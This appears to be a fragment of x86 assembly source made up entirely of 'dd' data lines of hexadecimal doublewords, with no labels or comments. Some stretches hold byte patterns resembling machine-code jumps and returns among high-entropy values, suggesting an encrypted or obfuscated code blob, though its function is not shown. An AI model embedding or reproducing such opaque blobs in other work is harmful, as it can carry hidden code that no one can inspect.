		dd 6056AEB1h, 0E04ECD1h, 0C39B8BF4h, 0DB680B73h, 0CDA916F1h
		dd 3242FABEh, 3DBFBAB1h, 19565DB1h, 87A8C9E5h, 0CE9B5AA7h
		dd 688CFF51h, 3D37EA80h, 3256EC3Fh, 533615B1h, 3D37E3E2h
		dd 3256453Fh, 324547B1h, 643257B1h, 0ABD63F74h,	889753BCh
		dd 9CDE2200h, 9ED91CA6h, 0F0AE7314h, 67AA5DA1h,	355A16D1h
		dd 0F1D712A9h, 328F795Ah, 0DBBA5ED0h, 3256EABBh, 4CFC727Bh
		dd 0C05875FDh, 0B159E1E2h, 3256AEB6h, 3257DCBEh, 0B1AEABB1h
		dd 3BBF2975h, 0A156EAB1h, 8DBF3026h, 0A203BD2Ah, 0DB013DD1h
		dd 3256AEBDh, 85BEEDBFh, 32689505h, 0D3E58761h,	31DDE5E9h
		dd 545675B1h, 0DA376B3Ah, 32565DB1h, 4EBC2FEBh,	0DB504D74h
		dd 3256ABBEh, 0C1FFCD2Dh, 8EB171EEh, 0E5DEB24Ah, 0C79298B8h
		dd 0B10DE73Ah, 1AEA8ABh, 0DBAF3778h, 3256ABA3h,	36E7EB60h
		dd 0D04EA515h, 3B78D682h, 0ACF096CAh, 0B13734B2h, 0B659AE8Eh
		dd 3256546Ch, 3256A758h, 0C0DEAB1h, 0BBE45E2Ah,	64FAE70h
		dd 3D513168h, 32565539h, 30D4A1B1h, 525657B1h, 3ADAA4D0h
		dd 3D56D5B1h, 3256E830h, 0CD3715B1h, 0DA36B6C4h, 32565DA3h
		dd 3012109Ch, 3E567D4Fh, 9984C937h, 3FDAFEB3h, 0FCDDFEEAh
		dd 32539DEAh, 54E7BAB1h, 64789693h, 0CD37F4E8h,	0B5595FC4h
		dd 3256ABB0h, 0DAAA8544h, 3256E915h, 64DECAD1h,	0B330DCE4h
		dd 53607157h, 0B7596EBAh, 325657F9h, 3256A158h,	0F7A97EB1h
		dd 63CE2802h, 0DB5A43D0h, 3256BABAh, 0E724C4CEh, 0E0116DDFh
		dd 0B9B496AFh, 21ECCBB6h, 5418CD1Eh, 0DB37283Ah, 32567588h
		dd 3256A958h, 9725D8B1h, 0ADE89822h, 0FD5E4FE4h, 6E39465Bh
		dd 2A32ADF5h, 52422D32h, 32567C58h, 0AF8F23B1h,	0BF11A98Ch
		dd 0FCDD3594h, 0CD43BED0h, 0B859544Eh, 3256D5B0h, 0CE136344h
		dd 540F25D1h, 531D470Ah, 3D5A284Eh, 3256A433h, 0F8DD37B1h
		dd 1BC86430h, 0CD37AA89h, 0CDAAE2C4h, 0CFBE8086h, 5256BAB3h
		dd 3250DEBEh, 0BE59AEB1h, 325657B1h, 3937723Ah,	13D2DA71h
		dd 0C756EAB1h, 3254D958h, 27D4B5B1h, 52565DB1h,	3256A959h
		dd 0E29144B1h, 2C1AD402h, 32DCDAE8h, 5356EAB1h,	52AA303Ah
		dd 3256AA58h, 4BEEEB1h,	0A8597004h, 1525C8DDh, 0E689633Fh
		dd 356FB444h, 303968BEh, 543675B1h, 8559483Ah, 77A93C41h
		dd 325E474Dh, 237357B1h, 91DE88F2h, 4DD508DCh, 0B659EAB5h
		dd 325675F3h, 32453EBEh, 3CBF5DB1h, 3456AEB1h, 0A2942C46h
		dd 0C71EB6ACh, 0CC700F29h, 3E2969D7h, 2DD27AB1h, 5256BAB1h
		dd 3254D6BEh, 91E1AEB1h, 53EAB431h, 3256F258h, 0B859B5B1h
		dd 3256EAB1h, 0DFBDF4D7h, 0CDEEDBC1h, 0DBA9A24Eh, 3256AEBEh
		dd 5CDFFEAFh, 3A173CDEh, 2A5B9FFh, 8B338DD0h, 325675B4h
		dd 3256A858h, 4D521FB1h, 0C2BC46E6h, 616E0D9Ah,	0E1C81D93h
		dd 0C129BB28h, 0D7BF1F1Ah, 0DBA98A4Fh, 3256BABBh, 0E4347F76h
		dd 0BCCF1D3Bh, 4DD55BBBh, 0B659AEA1h, 3256D5C6h, 3256FE58h
		dd 0AE9765B1h, 1BABE88h, 5D3B48B4h, 22AFD86Dh, 0A66BAA8Ah
		dd 22292809h, 4AD3DAB7h, 0C756EAB1h, 325E9CF0h,	0C8E2BAB1h
		dd 246B6ABFh, 75DDFA74h, 35D058B5h, 5256ABB1h, 9145E40Eh
		dd 6DDD8BE7h, 26DC7ABDh, 0DB56BAB1h, 32565DBEh,	0BC72E081h
		dd 0B4B5B35Eh, 0DB48C1FEh, 3DB5E613h, 3256E633h, 34D47AB1h
		dd 3D56BAB1h, 32565D31h, 32BD47B1h, 0B9AA57B1h,	0B9AFAFF6h
		dd 0DBA3D9EEh, 3256EA0Dh, 325F9DD1h, 0C862BAB1h, 0DB31383Fh
		dd 88D00038h, 61FDA2F2h, 0B9375EEEh, 3CBFD1F6h,	0D856EAB1h
		dd 76B40E66h, 971C5387h, 0F7F4075h, 3E0925D9h, 81E831D1h
		dd 19375E8Fh, 5436D1EEh, 1F860030h, 32479CE1h, 53BBBAB1h
		dd 86F327CBh, 9AD4E665h, 2AC28A46h, 6B85C680h, 37BD56D0h
		dd 0E8D6BAD1h, 0BF592E15h, 3256BAB5h, 28CBE4D7h, 3BD4A1D0h
		dd 525657B1h, 325628BEh, 53AAD5B1h, 31469532h, 3260F0BEh
		dd 0B459BAB1h, 32565DAAh, 324747D1h, 0ADB457B1h, 0D93EECD8h
		dd 0BA836918h, 27368664h, 5444F7EBh, 7337723Ah,	3258D9BEh
		dd 3BBFAEB1h, 0EA5657B1h, 0F2CD810Ah, 84CAFB0h,	0B759339Ah
		dd 325675BDh, 325036BEh, 0B3595DB1h, 3256AEB1h,	32565F58h
		dd 27AAFBB1h, 1ADBA52Fh, 330A6327h, 0CDEE89B0h,	3DA9454Eh
		dd 32565A31h, 33DBA1B1h, 0CA5657B1h, 3256A658h,	0DD4658B1h
		dd 1D977F27h, 74A3C35Ah, 37EFA3E3h, 0C7565DB1h,	0B9590542h
		dd 325657B6h, 325728BEh, 0DBAAD5B1h, 3256EAB4h,	0AC346F23h
		dd 0CF485396h, 0BF59A24Eh, 3256AEB0h, 0CA363649h, 3256B958h
		dd 771C5CB1h, 347A319Fh, 0F91238EDh, 0F04DC089h, 53C9EE41h
		dd 3A945678h, 3258BEB1h, 0B658ABB1h, 0B7B76944h, 1EA2CE6Dh
		dd 2E4ECCB8h, 325D53E4h, 6D955DB1h, 342EE85Ah, 930639A1h
		dd 0DA06CBD9h, 3256D5B7h, 743CAD7Ah, 690D1CA8h,	3256AB58h
		dd 3D4630B1h, 0E7A13E8Dh, 4E4763E0h, 90F4B5A4h,	0B9371F4Fh
		dd 4EE38A5Dh, 0CE92F6D0h, 523743D1h, 0F5E952D1h, 0B9376C3Ah
		dd 23BF5FF4h, 8856ABB1h, 0AB2B241Fh, 0A8E8E151h, 306F0744h
		dd 12A86290h, 3250DFBEh, 6236AEB1h, 530801EFh, 3D5AEE8Ah
		dd 32568333h, 324603B1h, 0BEEE75B1h, 19C17359h,	23B20832h
		dd 7D993D3Dh, 776DE5ACh, 0AD1A4A1h, 5256D5B1h, 325468BEh
		dd 680075B1h, 0F537483Ah, 3256A1F4h, 3FBFAEB1h,	0E75657B1h
		dd 6A423C3Dh, 68F473F9h, 0C577698h, 32566958h, 3ADFB5B1h
		dd 3D565DB1h, 3256AC31h, 0F53737B1h, 325757F4h,	0DBA3D5B1h
		dd 3256EAB0h, 0BC591448h, 3256BABDh, 3250DDBEh,	0B559AEB1h
		dd 325657B1h, 0DBAAEE3Ah, 3256D5B9h, 79870A2Eh,	0FC714617h
		dd 62EFDCD1h, 3242B5AEh, 692AAEB1h, 0BCE21074h,	5BC6254Eh
		dd 0BB09A4B3h, 0AADB8AC5h, 530F4A73h, 3AD5B578h, 3D565DB1h
		dd 3256AC34h, 0C73737B1h, 0DB56A773h, 3256D5BEh, 3E78B648h
		dd 0F99670C5h, 27488425h, 6752B4D9h, 0F3D75BD1h, 402342FCh
		dd 52BA20D0h, 254F6EE2h, 530DB1D9h, 0CEAAB132h,	32BE46D1h
		dd 68565DB1h, 0F96D4430h, 3BBF51ABh, 0C556ABB1h, 3914AF28h
		dd 0FA882EE1h, 32567358h, 862CB9B1h, 0C7F71082h, 3EBF6782h
		dd 0B45657B1h, 34D948CAh, 75E068BCh, 10E241Eh, 6FDF8C6Ah
		dd 0DB04DA4Dh, 32565DBDh, 935417F2h, 0DA475F1Bh, 5B6DF765h
		dd 53835FE8h, 0B10D503Ah, 3BBF73ABh, 4F56BAB1h,	117CAE4Fh
		dd 0CD961710h, 3D566832h, 32545835h, 39BF2CB1h,	5656EAB1h
		dd 6B6F8E1Fh, 47B468B2h, 0DD58848h, 77D3A14Eh, 3D5657B1h
		dd 3256BE35h, 32463CB1h, 0E000EAB1h, 0CE094B06h, 595DE12Bh
		dd 830DC5ADh, 3CBFBD0Eh, 0DC5657B1h, 0DE7EB81Ch, 1B34F2A6h
		dd 60F01205h, 2691F608h, 325E36BEh, 0B9365DB1h,	0B9ECC849h
		dd 0ABBF36D8h, 0C7A9544Eh
		dd 3252AA32h, 323E6EBEh, 0B85975B1h, 3256BAABh,	0DA94D6D1h
		dd 3256AEA1h, 4CF689DDh, 33834CDBh, 0B363A884h,	2FAF8716h
		dd 0B45914EEh, 3256BAA0h, 32565158h, 67E406B1h,	27A427ACh
		dd 0BDC6EF05h, 3E29565Ch, 15D2E5B1h, 3D5675B1h,	3256BB37h
		dd 0DBA3A1B1h, 3256AEE9h, 3242DDBEh, 3DBFABB1h,	7756D5B1h
		dd 49418A2Fh, 5397B93h,	1435155h, 77A9476Dh, 3247474Dh
		dd 0AEF757B1h, 0F8C25CA8h, 4F58F501h, 0FCF57971h, 0B1544035h
		dd 3D36AE76h, 0C9E28C0Eh, 0CCA847D0h, 23BFA84Eh, 56ABB1h
		dd 5B8F5862h, 0A341EC78h, 32D51D1Eh, 0D2959B1Eh, 37462232h
		dd 32362ABEh, 0B1AF57B1h, 3D50BBCEh, 32567034h,	325003B1h
		dd 136275B1h, 0E5F49F6Bh, 32565558h, 4BD541B1h,	0D214F69Bh
		dd 0B459EAEBh, 3256D5B0h, 36116144h, 3247F5BEh,	3EBFBAB1h
		dd 8E565DB1h, 0B0ED1E7Ah, 77EF5BD8h, 0B9B0B66Ah, 0BE59D9EEh
		dd 3256EAB0h, 32AF9C49h, 35BFBAB1h, 44565DB1h, 0D680DA36h
		dd 75DDC429h, 325042B5h, 7979D5B1h, 0B3610805h,	3E09FE44h
		dd 324253D1h, 8E9F5DB1h, 34A41DC4h, 0DE80FBFBh,	0E01EAF94h
		dd 80C3F438h, 0EAD72811h, 37B68E32h, 32F953D0h,	0B5595DB1h
		dd 3256AEA3h, 32D358D1h, 0DB56ABB1h, 3256D5B4h,	92CE614Ah
		dd 75DD14D9h, 2FDCB5B5h, 3D565DB1h, 3256B938h, 3244BEB1h
		dd 5C7BABB1h, 813850FAh, 0C453508Ch, 10A503B7h,	67875827h
		dd 3D5A023Ah, 3256BA36h, 8D5937B1h, 325C4271h, 0F66ED5B1h
		dd 38380037h, 65A88C5Dh, 360991D0h, 32565058h, 88270B1h
		dd 2285B0A9h, 0B55A04C4h, 0D9D51C8Bh, 33DAE5B4h, 0CB5675B1h
		dd 3146C532h, 327DD8BEh, 0B159AEB1h, 325657BFh,	3256A258h
		dd 0E5FB7FB1h, 0A27AA765h, 35BFB276h, 0C756BAB1h, 2F1E689Bh
		dd 52174774h, 549EE0BEh, 23D64230h, 528FFED0h, 0BB371A3Ah
		dd 0C75774EDh, 0C9E1B5D1h, 3257DEBEh, 53AFAEB1h, 0CDA9A809h
		dd 2AD7A44Eh, 0DB56D5B1h, 3256EAA2h, 562EA66h, 187C7222h
		dd 0C9DE96C5h, 0A05D9AB2h, 8B0A8482h, 3256ABB4h, 3256C158h
		dd 0F37A06B1h, 7B6E65D1h, 0A4662847h, 0DCA9F351h, 96A4D74Ah
		dd 0DBFDA4DCh, 3256ABA3h, 7019BB18h, 0C8CEFF7Fh, 373C519Bh
		dd 0F9316D97h, 13BF9F8Ch, 0C7A9514Ch, 325CBED1h, 78CEABB1h
		dd 35B312BFh, 0F01103Eh, 3253F0BEh, 0B330BAB1h,	5353E572h
		dd 3ED1A1D0h, 3D5657B1h, 3256AD33h, 32D7DAB1h, 0B956EAB1h
		dd 0FBA389F4h, 32593EBEh, 38BF5DB1h, 4856AEB1h,	3D9B4997h
		dd 134819A2h, 3EDDDAADh, 3D56EAB1h, 32567335h, 32DEB5B1h
		dd 0F1565DB1h, 325B21BEh, 3ABF57B1h, 8456ABB1h,	0F5B846ACh
		dd 628E9BB4h, 61A32444h, 325C37BEh, 37BF5DB1h, 7656AEB1h
		dd 3EA55F1Dh, 3256AB59h, 0D8D78FB1h, 344C25B8h,	0B93015D1h
		dd 32DCB561h, 53565DB1h, 0B759CED0h, 325657B7h,	0A63D4130h
		dd 34BEFE00h, 7956EAB1h, 0AA6621D7h, 0BF37E0BEh, 28D2062Bh
		dd 56EE57B7h, 3D5657B1h, 3256A33Bh, 30DBDAB1h, 5256EAB1h
		dd 32469CD0h, 0ECC8BAB1h, 0B133BF13h, 5CC6139Eh, 90EDC761h
		dd 0C1BE932Ch, 5256D5B5h, 0DE886BD7h, 0FEF13E7h, 39DDDBBBh
		dd 3245D1BEh, 3CBFAEB1h, 0A75657B1h, 600132FBh,	0BB132231h
		dd 0F8C55323h, 0CE974E74h, 32563D58h, 33D952B1h, 0CB56AEB1h
		dd 325ED0BEh, 0B559ABB1h, 3256D5B3h, 79558BD1h,	20BF15B5h
		dd 3156BAB1h, 1E67F467h, 39C10725h, 505DB3E6h, 5928A8D4h
		dd 0F36DB490h, 32D668BEh, 3D3675B1h, 54076006h,	530CAF3Ah
		dd 0CE46E5B2h, 0B059968Ah, 3256AB98h, 325751BEh, 0DBAAEAB1h
		dd 32567597h, 26BFE8D1h, 69565DB1h, 5D02DDCFh, 0FB735CECh
		dd 0FB923A9Bh, 36C73FDAh, 68991135h, 323B9CD0h,	8636BAB1h
		dd 56BF3CA0h, 0CA56AEB1h, 5A17CD3Ch, 0B859ADAAh, 3256D5A1h
		dd 3256E158h, 0BDDB14B1h, 925B81B1h, 1B92AC66h,	0B2597D4Eh
		dd 325657B9h, 325428BEh, 5336D5B1h, 3256D858h, 0A8DB89B1h
		dd 344DD1D6h, 0F8EC0DD1h, 6D5B8E07h, 9ADB340Ah,	0E1A9CAFAh
		dd 325A57BEh, 0BB59EAB1h, 325675B7h, 325637BEh,	0B9365DB1h
		dd 0C2D7C843h, 6937DA1Dh, 7B7A12D1h, 0C1D6FE52h, 3D0F8B60h
		dd 32567A36h, 325C53B1h, 0D68A5DB1h, 0C240C08Fh, 43260516h
		dd 8AE6CBE9h, 0DB95B448h, 3256EAB9h, 45D0D40h, 7C4C0CB7h
		dd 0DEDDA8E4h, 32564644h, 0B30C57B1h, 2886695Bh, 32503CB7h
		dd 6A1AEAB1h, 37A475A1h, 32403EBEh, 23BF5DB1h, 0F756AEB1h
		dd 96A3F93h, 0AA735338h, 499AD55Bh, 0CBEA4730h,	32599CD1h
		dd 0E93CBAB1h, 566462D9h, 0F03FCFBh, 87FBA74Dh,	69EC26B2h
		dd 0DB50CF35h, 3256EABAh, 0FEC0B1F9h, 0CEE4A380h, 3D3C714Eh
		dd 3256B635h, 3245BEB1h, 227CABB1h, 4247533h, 8BEDB72Eh
		dd 5AAA60FBh, 424115F7h, 3A13D63Dh, 3256A158h, 0EE841AB1h
		dd 0BCD3003Ah, 0C4CA9DCFh, 901530FEh, 3DBF7238h, 5B56BAB1h
		dd 0CBB19335h, 8E475A46h, 5A329F4Ch, 77DD9B4Fh,	0DDDCB5BDh
		dd 0C54DEA09h, 75DF14EFh, 8D30DAB5h, 0B759AE46h, 3256AEA5h
		dd 32565858h, 1853CDB1h, 58773114h, 7390DF21h, 35D9C98h
		dd 221331D0h, 75DFA548h, 324547BDh, 0B1C257B1h,	5A746E3Dh
		dd 0CADFEE8Dh, 32BC7294h, 9FD70E7Dh, 2613310Dh,	32565358h
		dd 0FD4757B1h, 43D1BE4Ch, 40A0429Bh, 0BB90810Dh, 53AEFAF6h
		dd 0E2E97AD1h, 6C491E0Fh, 0DB9F3CD4h, 3256AEBCh, 97FDBCE3h
		dd 2CECE7EAh, 639CC208h, 85598A72h, 0E3D71347h,	0F037FBBBh
		dd 0B5595DA1h, 3256AEABh, 3245BED1h, 6AF0ABB1h,	7EBA1A2Bh
		dd 6A667E44h, 3CCC54C5h, 2269AC26h, 0DB363C30h,	3256AEBDh
		dd 0EAA1EA65h, 0F614F6B5h, 7F58571h, 1B7A52D1h,	0F4371793h
		dd 265EF334h, 5AAE1AB7h, 9A41DDABh, 32565D58h, 0D142CBB1h
		dd 0D3171B87h, 0CD9099A1h, 267A1004h, 20BF43B7h, 52565DB1h
		dd 32128A1Dh, 9558BD17h, 98EB32A1h, 0B7997CADh,	0CCD3674Bh
		dd 0CA5062C9h, 22BF6A4Eh, 0C7565DB1h, 209827F8h, 3DA50E78h
		dd 3AE822E8h, 600DCF14h, 3256E358h, 0A889FBB1h,	3C5E3BEDh
		dd 0B8DB3424h, 344C2893h, 1EE31D1h, 0FDE9A431h,	543684D0h
		dd 0B24CD308h, 0DB37E46Bh, 3256BAB8h, 0A586F669h, 4F511D49h
		dd 5286A86Eh, 549C14BEh, 6837253Ah, 53D85CD1h, 0B474F73Ch
		dd 3DA3BCABh, 0DB5A1D06h, 3256AEA3h, 0EB52C308h, 0E8DAA9E3h
		dd 0DEE61313h, 0A4737C8Eh, 0B9AEE332h, 0B930DA69h, 32D6524Fh
		dd 5356AEB1h, 325AD4BEh, 0B059ABB1h, 3256D5B7h,	32566CBEh
		dd 0DB0475B1h, 3256BAA2h, 0EDDD4DD8h, 19AC5500h, 0F06DC855h
		dd 52F44F61h, 3D2C7F9Ah, 325E0380h, 3A9F75B1h, 9E8E75F7h
		dd 0CB0C930Dh, 54366DB2h, 0B9DEAD0Ah, 0B959CA6Eh, 3256D5BDh
		dd 3256ED58h, 0E2F548B1h, 87FEEA4Eh, 20A7DF38h,	53AFA8A5h
		dd 32565958h, 57B698B1h, 78AC6D28h, 37337ED9h, 0F1435BE6h
		dd 890F514Dh, 14h, 0FE9h, 0C89F3B00h, 2F8E64B6h, 0DB5F335Eh
		dd 28E1E94Fh, 108C0F52h, 0E9000000h, 0Bh, 3F66E4C4h, 4057C720h
		dd 0E840701Bh, 0
		dd 0ACEA815Ah, 0FC061AD3h, 3830F60h, 0F000000h,	890FCBBFh
		dd 2, 52615E56h, 8E9h, 55CB5F00h, 4290C1BCh, 0F1828B39h
		dd 0E9061412h, 9, 5ABC386Dh, 0E80BBA83h, 4E6DB95Eh, 890F41C6h
		dd 1, 0F5E1F7F8h, 8E9h,	0EB1F2B00h, 0F7C48786h,	5F55AD9h
		dd 3039h, 0FFFF25F5h, 8E97FFFh,	73000000h, 966F67BBh, 89D33015h
		dd 1412F182h, 8810F06h,	0F000000h, 281h, 5A616000h, 12E959F8h
		dd 13000000h, 4EAFC768h, 0AD3BE069h, 0BD22589Eh, 1AAA4B25h
		dd 0BE9C38Ah, 8B000000h, 6AAF83E5h, 0F035C2FEh,	0E951208Ch
		dd 5, 0FB549F37h, 8060527Fh, 0B96631DAh, 0E86150BFh, 0
		dd 78EA815Ah, 0F061AD4h, 18Bh, 6060F900h, 0C88B5B51h, 0E7816661h
		dd 0F6141B2h, 684h, 0BB666000h,	8B61726Eh, 0CEE8F5C8h
		dd 0F9FFFFFEh, 8F0FD233h, 1, 0E9F1F7F8h, 0Ah, 66048BB7h
		dd 204A22DFh, 0C28BED18h, 0BE95AF9h, 0B9000000h, 62A959EFh
		dd 9C76994Bh, 6059FEE4h, 8F0Fh,	60600000h, 0C3616161h
		dd 7E9h, 0A2FAE000h, 7D1A4A6h, 0F560C08Bh, 0FE8h, 0CEC44000h
		dd 4182A327h, 7A6574Dh,	5E2190F6h, 8B615EF8h, 8B0F60C0h
		dd 2, 8B665956h, 858D61CAh, 61A9BD3h, 0EE9h, 2E4E5A00h
		dd 83A5230Eh, 9A56C3EFh, 0FF2FE09Dh, 0AE9D0h, 0D95E0000h
		dd 0CA476B64h, 4B164BE1h, 60C18B66h, 0BB74B3h, 616929F6h
		dd 0D375858Dh, 10E9061Ah, 0A6000000h, 1CCB48E3h, 7840FEF8h
		dd 0FB67C770h, 8926C680h, 14108D85h, 1820F06h, 0F5000000h
		dd 0D45E858Dh, 7E9061Ah, 0B1000000h, 3075A310h,	8589E673h
		dd 61415F9h, 0B8F5h, 11E90000h,	0E2000000h, 9ACB3AFh, 12E86F39h
		dd 503ADC53h, 21215D1Dh, 840FC00Bh, 0FFh, 7820Fh, 870F0000h
		dd 1, 1800FF9h,	0F8000000h, 84985C6h, 0F8560614h, 0C530DF68h
		dd 0B5FFF8A9h, 6142C65h, 0FE858DF5h, 0E9061778h, 11h, 1F2E012Ch
		dd 0C73346B4h, 0EA8A67B0h, 0B6B3799Ah, 13E92Dh,	62CA0000h
		dd 150069AEh, 0C96785FAh, 92FC9744h, 7BBD70EEh,	0E9D0FFB0h
		dd 0Dh,	0C59A864h, 96B35909h, 0D96E8B71h, 66605094h, 6122DCBFh
		dd 26418D8Dh, 51F50614h, 7E9h, 6E94BB00h, 0F40AC68Ch, 12E9046Ah
		dd 7A000000h, 3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 860FFA17h
		dd 100068B3h, 8C0F0000h, 1, 0B5B5FFFCh,	0F061423h, 0C86h
		dd 6800F00h, 0F000000h,	8Eh, 0FD0FF00h,	180h, 0BD8BFC00h
		dd 61423B5h, 6E9FC60h, 2000000h, 0ABA1A5A9h, 7F0361EBh
		dd 0C781F53Ch, 0F8h, 2447C7F8h,	60000020h, 80EE8A60h, 8D610FE4h
		dd 14122D9Dh, 0AE906h, 634F0000h, 57ED02CDh, 4C432C46h
		dd 870F038Bh, 14h, 0FE9h, 22BE6300h, 1192EF3h, 7FEAD191h
		dd 1C49EE3Dh, 840FC00Bh, 38h, 19800Fh, 840F0000h, 13h
		dd 0EE9h, 6F1F0F00h, 0D75696BEh, 416B5ED7h, 8B78AC94h
		dd 4389F900h, 0EE904h, 346C0000h, 0FE295C82h, 49A9DE07h
		dd 60021E75h, 234CF6B9h, 668D8D00h, 6A061AD8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0BC67C350h, 0E5D9117Bh, 458D8939h, 0F061402h, 68Dh
		dd 2D858900h, 6606141Dh, 23ABDF81h, 2B698D89h, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 71D8FAC3h, 5140ED35h, 5585C7F5h, 2C061410h, 6A000063h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 4360C351h, 0B1DA15E0h, 8DBD89E8h,	8B061402h
		dd 141B2995h, 3D85C706h, 61401h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0C6A6C356h
		dd 57D8C07Ch, 8B8D970Bh, 14310595h, 1DB5FF06h, 6A06140Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 3753C351h, 4023FB68h, 8E1285F7h, 10999D23h
		dd 95FF0614h, 6140BD9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 17C35545h, 57CBF1F4h,	0E4830A4h, 45958BD5h
		dd 6A061403h, 7195FF00h, 8B061429h, 573EEBC0h, 95557A8Ah
		dd 0DB09CE8Eh, 9C3D35C1h, 4878E8D5h, 40120F46h,	4730E94Ch
		dd 0E8FA6679h, 0C83B9DF7h, 99EA43E2h, 0CF012FB7h, 0CBCD02EDh
		dd 88D31FE3h, 1BB2BE73h, 51C8209Ah, 5A9A55B1h, 6E871h
		dd 165C0000h, 69326226h, 87D9509h, 81580614h, 198CAAE2h
		dd 0BEC08160h, 8B000065h, 142975B5h, 0BB06h, 958B0000h
		dd 6140095h, 0E9183C8Bh, 7, 7513681Fh, 813E9D20h, 0D74A0AC7h
		dd 0ED17BA07h, 0C7813C0Dh, 6E8CDEC9h, 81C88B66h, 0D19561C7h
		dd 3C89F904h, 0D5958918h, 80061425h, 0EB83AEF5h, 0CAB70F04h
		dd 9AF4FB81h, 850FFFFFh, 14h, 63D98056h, 3AE95Ah, 0A5880000h
		dd 95900A9Ah, 0B729771Bh, 14E8h, 0EF406B00h, 0A4077446h
		dd 0B56504A0h, 0FBF09A4Bh, 0A81F72EBh, 818D898Ah, 5A06142Eh
		dd 0FFFF7FE9h, 74EA44FFh, 2F2C520Bh, 9410ACECh,	5E8h, 6CA52200h
		dd 0D781D410h, 681A260h, 0C181FC59h, 6F1Ah, 312DBD8Bh
		dd 92680614h, 0F00001Bh, 1F8Ch,	13E800h, 0EBED0000h, 638B77Ch
		dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 0BFE381F2h,	5B61B8BEh
		dd 0BE958h, 4FB90000h, 0FCDF20E7h, 0DC06AC1Ah, 66318B7Fh
		dd 81F181BAh, 0B7DE25F6h, 8172B35Fh, 685ED6C6h,	0EBEE813Fh
		dd 0B01C610h, 142C699Dh, 0B5895606h, 6140E21h, 0E981018Fh
		dd 7B5D9262h, 5EC181F5h, 517B5D92h, 7658529h, 815F0614h
		dd 1E8h, 25850F00h, 0E9000000h,	11h, 5914E67Dh,	9F852250h
		dd 89D57F92h, 0EBF81F82h, 1DE959h, 0CF830000h, 0F9A6E1BFh
		dd 565F9860h, 0E9D3BF0Fh, 0FFFFFF89h, 1900BD9Fh, 34F8C2D3h
		dd 0E9136C6Eh, 27h, 740CEBC2h, 8 dup(0)
		dd 0E9000000h, 576h, 8084F717h,	73B7E6E7h, 58DCD9F4h, 46CAC1CFh
		dd 33F7AAD9h, 0F3E84A8h, 0F4118E92h, 0DEEA75B9h, 0BEC05FA3h
		dd 0D32E4BCFh, 0EA48E752h, 0EDD77C55h, 6366567h, 4EFD3A95h
		dd 0C553F092h, 927AC956h, 95F953F0h, 6EDD5A71h,	0E553F092h
		dd 0CDFC9361h, 0B1D34CD0h, 8BBDC2FAh, 576DFB10h, 57F364CEh
		dd 3B1697A4h, 0B853F0FFh, 116E5ED4h, 0C98DBDF0h, 0C6F8076Eh
		dd 0B8D453D7h, 928D0806h, 12163A77h, 0E3E7995h,	0B685229Dh
		dd 0CD53F0FFh, 0FA1E93B2h, 2F666338h, 3259B81Fh, 4A47F713h
		dd 7CEB2F53h, 0FA3B534Ah, 53F0FC40h, 7F7B927Dh,	8594FAB1h
		dd 6DCDh, 5F025200h, 3280EBBh, 67818B89h, 0A7063665h, 53F0929Ah
		dd 0FF0F8A86h, 1C2C6160h, 42C82F68h, 63BED5BAh,	3B4DEF1Ch
		dd 0A8CC4840h, 8C58866Ah, 1668594h, 0B2000000h,	7376667h
		dd 25564778h, 77922426h, 6286023Ah, 3D4B1490h, 0A5123646h
		dd 9F0E3F4Eh, 6799E09Bh, 0BECEBDCFh, 9506365Ah,	0F0923908h
		dd 0B2D6BA53h, 0E299AB60h, 6867D41Eh, 0B315E2C7h, 0ACD07089h
		dd 0CBC2C39Ch, 0E4A1ACB3h, 77E8BD4h, 205D68F7h,	0EF48AC28h
		dd 53CC8288h, 8B83FA0Ch, 0BAF3100Fh, 6F0C0682h,	0D7CAF908h
		dd 0B2D453h, 0B96E7DFEh, 40D899CBh, 9300385Ch, 9035BBC5h
		dd 0BEA6FD03h, 1BB16758h, 0E9A4A127h, 0C35175D1h, 7784010Ch
		dd 6DA7D6E8h, 0EA01CC51h, 94DA52E8h, 914C85h, 67680000h
		dd 0C4C1CE68h, 0BCD7A8A0h, 97B6C9C1h, 86AAE5E1h, 0A9980576h
		dd 2A53F092h, 0D4C7F926h, 0E037E0A4h, 0D0E8A3A1h, 3EC5074h
		dd 0F3AEDDECh, 372F88D8h, 4CB51F8Ah, 0A4B3B1DAh, 9B99A240h
		dd 4C4140DFh, 6E25233Ch, 7D02015Eh, 9969C7C0h, 94A4C89Ch
		dd 0CBC3BACBh, 6897FE1Dh, 27022657h, 6B81D138h,	6B8594D4h
		dd 4Fh,	0C7686741h, 87E6F74Dh, 83B8DCB3h, 0AA49710h, 0A03F53F0h
		dd 74D0E8A5h, 9DE2C250h, 52063671h, 90BFCE25h, 8BDB191Dh
		dd 58DAD3F4h, 0F30B8283h, 0F09288B2h, 0E29FAA53h, 3B7695EAh
		dd 0D1385703h, 0C72EC149h, 948C658Bh, 17185h, 8BBF0000h
		dd 92AC9F18h, 232753F0h, 920F3AD1h, 5AE3E57Ah, 0A56E6ECFh
		dd 0BECEF2A1h, 0D3EBA6A1h, 0A027B8Ch, 808AE14Eh, 2A59B09Fh
		dd 0E69E621Fh, 27F8A07h, 516A8E0Ah, 0DC9D96D4h,	0D0EB6F49h
		dd 0F4047789h, 0B1228290h, 0E0AACBA3h, 4CC6DA1Dh, 0FA3E6D9Fh
		dd 28205B6Dh, 0E561B489h, 3E779455h, 5B56710Eh,	0B1D87723h
		dd 137A9569h, 48434118h, 0B8F315CAh, 0A2D9EB74h, 0F8B3D5AAh
		dd 0E393BFC0h, 7787ABE2h, 97A7D6E8h, 77BBD261h,	809BF201h
		dd 61E5C2F0h, 21F38D20h, 0E125586Ah, 28DEDAAAh,	0B6A5D77Dh
		dd 8B4E9C7Ch, 4F688BAAh, 44000001h, 0A30C6180h,	53F09290h
		dd 0F00B2F13h, 0DC90B7B7h, 3444C849h, 9E62192Bh, 5A77FF01h
		dd 0BC8F2823h, 3755E491h, 401F2F53h, 893F4F3Eh,	0E2E4234Ah
